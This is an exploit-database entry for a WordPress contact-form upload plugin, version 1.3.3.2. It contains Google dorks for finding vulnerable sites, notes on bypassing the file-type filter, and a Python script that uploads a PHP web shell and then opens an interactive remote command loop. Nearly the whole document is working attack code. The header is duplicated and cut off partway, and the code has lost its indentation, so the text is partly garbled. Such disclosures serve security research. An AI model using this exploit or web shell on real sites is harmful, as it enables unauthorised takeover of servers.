# Exploit Title: WordPress Plugin Drag and Drop File Upload Contact Form 1.3.3.2 - Remote Code Execution
# Date: 2020-05-11
# Exploit Author: Austin Martin
# Google Dork: inurl:wp-conte # Exploit Title: WordPress Plugin Drag and Drop File Upload Contact Form 1.3.3.2 - Remote Code Execution
# Date: 2020-05-11
# Exploit Author: Austin Martin
# Google Dork: inurl:wp-content/uploads/wp_dndcf7_uploads/
# Google Dork: inurl:wp-content/plugins/drag-and-drop-multiple-file-upload-contact-form-7/
# Vendor Homepage: https://www.codedropz.com/
# Software Link: https://wordpress.org/plugins/drag-and-drop-multiple-file-upload-contact-form-7/
# Version: 1.3.3.2
# Tested on: WordPress 5.4.1, PHP 7.41
# CVE : N/A

# Notes:
# At time of disclosure, the WordPress page listed this plugin being used by +10,000 applications
# Application was patched by vendor within 24 hours of initial disclosure
# This exploit works bypassing the allowed file types and file type sanitization. If lucky, a PHP file with a reverse shell can be uploaded and accessed

# Any file types can be added to the "supported_type" parameter
# These uploaded files can be accessed at wp-content/uploads/wp_dndcf7_uploads/
# Dangerous file types such as php have "_.txt" appended to the end creating a text file
# This can be bypassed by adding '%' to the end of the allowed file type, and the end of the file name
# ex. "php%" for file type and "shell.php%" for filename
# The PHP payload in the POC can be easily modified to gain a reverse shell

#!/usr/bin/python
import string
import random
import requests
from bs4 import BeautifulSoup
import sys

payloadurl=""
def RecurseLinks(base,file):

headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0"}
f = requests.get(base, headers=headers)
soup = BeautifulSoup(f.content, "html.parser")

for root in soup.find_all("a"):
href = root.get("href")
if (href.startswith("/")):
do = "nothing"
elif (href.endswith("/")):
RecurseLinks(base + href, file)
else:
if file in href:
print (" [+] File Found --> " + base + href)
global payloadurl
payloadurl = (base+href)

def main():
#os.system('cls')
print("WordPress Plugin 'Drag and Drop Multiple File Upload - Contact Form 7' 1.3.3.2 - Unauthenticated Remote Code Execution")
print("@amartinsec --> Twitter CVE:2020-12800 ")

#Build The Request
#Generate random URL for filename
file = ''.join(random.sample((string.ascii_uppercase + string.digits), 6))

urlinput = raw_input("[+] Enter url to the vulnerable WordPress application: ")

#Finding the nonce used in the Ajax security string
print (" [+] Searching for security string nonce")
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36'}
homepage = requests.get(urlinput,headers=headers)
homepage = homepage.text
homepage = homepage.split("ajax_nonce":"",1)[1]
securitykey = homepage[:10]
print("[+] Found security string --> " + securitykey)

url = urlinput + "/wp-admin/admin-ajax.php"

headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
"Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest",
"Content-Type": "multipart/form-data; boundary=---------------------------350278735926454076983690555601",
}
data = "-----------------------------350278735926454076983690555601 Content-Disposition: form-data; name="supported_type" "
"php% -----------------------------350278735926454076983690555601 Content-Disposition: form-data; name="size_limit" "
"5242880 -----------------------------350278735926454076983690555601 Content-Disposition: form-data; name="action" "
"dnd_codedropz_upload -----------------------------350278735926454076983690555601 Content-Disposition: form-data; name="type"
"" click -----------------------------350278735926454076983690555601 Content-Disposition: form-data; name="security" "
" " + securitykey +" -----------------------------350278735926454076983690555601 Content-Disposition: form-data; name="upload-file"; "
"filename="" + file +".php%" Content-Type: text/plain "
"<?php echo shell_exec($_GET['e'].' 2>&1'); ?>"
" -----------------------------350278735926454076983690555601-- "

print " [+] Sending payload to target"

response = requests.post(url, headers=headers, data=data)

if "200" in str(response):
print("[+] Looks like a successful file upload! ")


elif "403" in str(response):
print(" File Upload Failed")
print("403 in response. Check security string")
sys.exit(1)

else:
print("File upload failed. Try the manual way with Burp")
sys.exit(1)

print("[+] Crawling for the uploaded file. This may take a minute...")
print("[+] Searching for " + file + ".php")

RecurseLinks(urlinput + "/wp-content/uploads/",file)

if payloadurl == "":
print("Can't find the file on the web server")
print("Try the manual method")
sys.exit(1)

#If all goes well, we can now send requests for RCE
print("[+] Success ")
while True:
cmd= raw_input("[+] CMD: ")
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36'}
request = requests.get(payloadurl + "?e=" + cmd, headers=headers)
print request.text

if __name__ == "__main__":
main()